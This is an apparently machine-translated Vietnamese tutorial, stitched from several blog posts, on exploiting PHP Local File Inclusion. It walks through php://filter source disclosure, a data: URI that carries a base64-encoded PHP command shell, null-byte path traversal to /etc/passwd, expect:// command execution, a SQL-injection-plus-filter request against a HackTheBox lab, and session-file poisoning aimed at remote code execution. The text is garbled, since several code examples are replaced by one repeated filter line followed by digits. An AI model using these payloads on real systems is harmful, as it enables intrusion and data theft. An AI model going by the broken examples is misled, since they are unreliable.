Ảnh của Émile perron trên unsplash
Bao gồm tệp cục bộ là gì?
Bao gồm tệp cục bộ [LFI] cho phép kẻ tấn công bao gồm các tệp trên máy chủ thông qua trình duyệt web. Lỗ hổng này tồn tại khi một ứng dụng web bao gồm một tệp mà không vệ sinh chính xác đầu vào, cho phép kẻ tấn công thao tác đầu vào và bơm các ký tự đường dẫn và bao gồm các tệp khác từ máy chủ web.
Xác định dễ bị tổn thương
//localhost/webhacking/PHP-LFI/index.php?page=page2.php
? Trang = page2.php Đây là máy chủ web trung bình bao gồm một số tệp trên máy chủ cục bộ
Ví dụ Mã dễ bị tổn thương
Loại trình bao bọc PHP
- Mong đợi: // ls: Cho phép thực thi các lệnh hệ thống, btw lệnh này không bật mặc định
- PHP: // Đầu vào: Gửi tải trọng qua phương thức POST trên PHP
- PHP: // Bộ lọc: Cho phép kẻ tấn công bao gồm tệp cục bộ và mã hóa base64 làm đầu ra
php://filter/convert.base64-encode/resource=index.php
Bộ lọc PHP không có mã hóa Base64
php://filter/resource=flag.txt
Lưu ý: Có thể trình bao bọc PHP có thể được chuỗi nhiều thời gian, ví dụ
php://filter/convert.base64-encode|convert.base64-decode/resource=index.php
- Dữ liệu: //: Có thể bơm mã PHP bạn muốn thực thi trực tiếp vào URL
1. data:text/plain,
2. data:,&x=ls
3. data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls
Kỹ thuật null byte
Lưu ý: Chỉ trong các phiên bản của PHP dưới 5.3.4, chúng ta có thể chấm dứt với một byte null
?page=../../../etc/passwd%00
bạn có thể dùng "?" Thay vào đó, null byte, điều này có thể thao tác với máy chủ web với việc thêm yêu cầu nhận ở cuối tải trọng
Trong blog trước đây của tôi liên quan đến LFI, tôi đã thảo luận về một số bước cơ bản để đạt được LFI. Bây giờ trong blog này, tôi đang giải thích làm thế nào chúng ta có thể đạt được LFI là có bất kỳ sự lọc đầu vào nào ở phía máy chủ. AIM: Mục đích của chúng tôi là tìm mật khẩu tài khoản quản trị của trang web. Our aim is to find admin account password of the website. Có ba tab trong ứng dụng web. · Nhà
· CV
· Tiếp xúc
Khi chúng tôi nhấp vào tab Home Home, biến Home Travel trong URL với tham số trang. Tương tự…
Tệp cục bộ bao gồm [LFI] là một cách dễ dàng để kẻ tấn công xem các tệp trên máy chủ không có nghĩa là được xem hoặc truy xuất. Thông qua cài đặt được cấu hình sai trên mã máy chủ hoặc lập trình xấu, kẻ tấn công sẽ có khả năng xem các tệp hệ điều hành cục bộ trong trang web hiện tại.
Trước đây chúng tôi đã bao gồm khai thác tệp địa phương bao gồm trở lại trong bài đăng trên blog 2018 của chúng tôi. Nhưng một trong những trường đại học của chúng tôi đã hỏi câu hỏi sau đây.
Còn bộ lọc PHP thì sao?
Chúng tôi đã không bao gồm các addon và chức năng PHP specfic có thể được sử dụng để tạo điều kiện cho LFI. Vì vậy, chúng tôi nghĩ rằng chúng tôi sẽ giải quyết câu trả lời cho câu hỏi ở đây.
Bộ lọc PHP
Bộ lọc PHP là gì?
Bộ lọc PHP được sử dụng chủ yếu cho:
- Xác thực dữ liệu = Xác định xem dữ liệu ở dạng thích hợp.
- Vệ sinh dữ liệu = Xóa bất kỳ ký tự bất hợp pháp nào khỏi dữ liệu.
Tiện ích mở rộng bộ lọc PHP có nhiều chức năng cần thiết để kiểm tra đầu vào của người dùng và được thiết kế để làm cho xác thực dữ liệu dễ dàng và nhanh hơn.
Khai thác bộ lọc PHP
Một ví dụ đơn giản là sử dụng chức năng PHP: //filter/convert.base64-Encode để mã hóa nội dung của một bộ mã nguồn trang. Ví dụ:php://filter/convert.base64-encode function to encode the contents of a page’s source-code. E.g:
- index.php?file=php://filter/convert.base64-encode/resource=config.php
Khi thành công, trình duyệt nên chứa một chuỗi được mã hóa base64 có thể dễ dàng được giải mã trên dòng lệnh hoặc thông qua cyberchef!
Dưới đây anh ta có một ví dụ từ một trang web CTF có thể truy cập công khai:
Ví dụ về bộ lọc PHP từ HackTheBox [HTB] không được giám sát
Trong ví dụ này, chúng ta cần sửa đổi bộ lọc PHP một chút [PHP: // Filter/Read], vì mã nguồn PHP sẽ cố gắng thực thi mã PHP được bao gồm do câu lệnh bao gồm [] trên dòng 97.
- php://filter/read=convert.base64-encode/resource=
wget "//www.nestedflanders.htb/index.php?id=587' UNION SELECT \"about' UNION
SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/6fb17817efb4131ae4ae1acae0f7fd48.php' --+\" --+"
Output:
PD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyX25hbWUnXSkpewoJJHVzZXJfbmFtZSA9ICRfU0VTU0lPTlsndXNlcl9uYW1lJ107Cn0KCmZvcmVhY2ggKCRfQ09PS0lFIGFzICRrZXkgPT4gJHZhbCkgewoJJF9TRVNTSU9OWyRrZXldID0gJHZhbDsKfQoKLyogcmVtb3ZlZCBldmVyeXRoaW5nIGJlY2F1c2Ugb2YgdW5kZXJnb2luZyBpbnZlc3RpZ2F0aW9uLCBwbGVhc2UgY2hlY2sgZGV2IGFuZCBzdGFnaW5nICovCg==
Sau đó, chúng tôi có thể giải mã điều này trên dòng lệnh bằng base64 hoặc bạn có thể sử dụng cyberchef:base64 or you could use Cyberchef:
$ echo PD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyX25hbWUnXSkpewoJJHVzZXJfbmFtZSA9ICRfU0VTU0lPTlsndXNlcl9uYW1lJ107Cn0KCmZvcmVhY2ggKCRfQ09PS0lFIGFzICRrZXkgPT4gJHZhbCkgewoJJF9TRVNTSU9OWyRrZXldID0gJHZhbDsKfQoKLyogcmVtb3ZlZCBldmVyeXRoaW5nIGJlY2F1c2Ugb2YgdW5kZXJnb2luZyBpbnZlc3RpZ2F0aW9uLCBwbGVhc2UgY2hlY2sgZGV2IGFuZCBzdGFnaW5nICovCg== | base64 -d
Bây giờ chúng ta có thể chạy các lệnh Linux [mong đợi hợp lệ] khá nhiều thông qua lỗ hổng này. Ví dụ: URL này sẽ trả về người dùng đang chạy:
- //example.com/Keeper.php?page=expect://id
Nếu chúng tôi muốn sử dụng điều này trong bối cảnh LFI, URL sẽ trông tương tự như:
- //example.com/Keeper.php?page=expect://cat+/etc/passwd
Phiên PHP
Một phương pháp khác để khai thác LFI, trong PHP là tệp phiên PHP. Khi một ứng dụng không dễ bị tổn thương sau:
- php://filter
- php://zip
- php://phar
- php://protocol
Nhưng phpsessid có mặt, ví dụ:
Thường thì cookie được đặt thành cùng một giá trị trên hệ điều hành hệ điều hành, ví dụ:
Khi nội dung của $ _Session có thể được giả mạo, đôi khi điều đó có nghĩa là một tệp có nội dung có thể kiểm soát có thể bị lạm dụng để tạo shell. Chúng tôi sẽ bao gồm điều này trong thời gian ngắn
Sử dụng LFI Vulnablity so với tệp phiên, chúng ta thường thấy một cái gì đó giống như dữ liệu được tuần tự hóa sau
php://filter/convert.base64-encode/resource=index.php
0Điều này thường tốt cho việc liệt kê và tùy thuộc vào mã ứng dụng, có thể khai thác thêm thông qua các cuộc tấn công dựa trên/tuần tự hóa.
RCE bằng cách sử dụng các giá trị phiên PHP
Từ ví dụ cuối cùng, tệp phiên có thể được sử dụng để thực hiện mã từ xa [RCE].
Nếu ví dụ ở dạng đăng nhập nơi các tham số tên người dùng và mật khẩu được truyền. Đôi khi chúng ta có thể thử thủ thuật sau để gây ô nhiễm tệp phiên với đầu ra từ một lệnh như vậy:
php://filter/convert.base64-encode/resource=index.php
1Điều này sẽ dẫn đến một giá trị tùy ý được đặt trong Chỉ thị Cookie Set [và do đó trong tệp phiên]:
php://filter/convert.base64-encode/resource=index.php
2Tệp phiên sau đó có thể chứa nội dung của LFI đi kèm.
CẢNH BÁO: Bạn sẽ cần xóa cookie khỏi mọi yêu cầu tiếp theo, nếu không bạn có nguy cơ ghi đè lại tệp phiên với cookie hợp pháp!: You would need to remove the cookie from any subsequent requests, otherwise you risk overwritting the SESSION file again with the legitimate cookie!
Một ví dụ phiên PHP khác từ HackTheBox [HTB] không được giám sát
Sử dụng hộp HTB không được giám sát, một lần nữa chúng ta có thể chứng minh lỗ hổng này
php://filter/convert.base64-encode/resource=index.php
3Output:
php://filter/convert.base64-encode/resource=index.php
4Có nghĩa là nếu chúng ta có thể mã hóa các lệnh vào tiêu đề cookie, chúng ta sẽ thấy đầu ra trong nguồn trang:
php://filter/convert.base64-encode/resource=index.php
5trong đó nội dung của cookie.txt đã sửa đổi:
php://filter/convert.base64-encode/resource=index.php
6Phản hồi phải tương tự như:
php://filter/convert.base64-encode/resource=index.php
7Thành công này, có nghĩa là nó nên tầm thường để sinh ra một vỏ ngược! Chúng tôi để lại điều này như một bài tập cho người đọc. Hoặc đơn giản là đọc các hướng dẫn công khai HTB đã được xuất bản trên Internet.
Chia sẻ: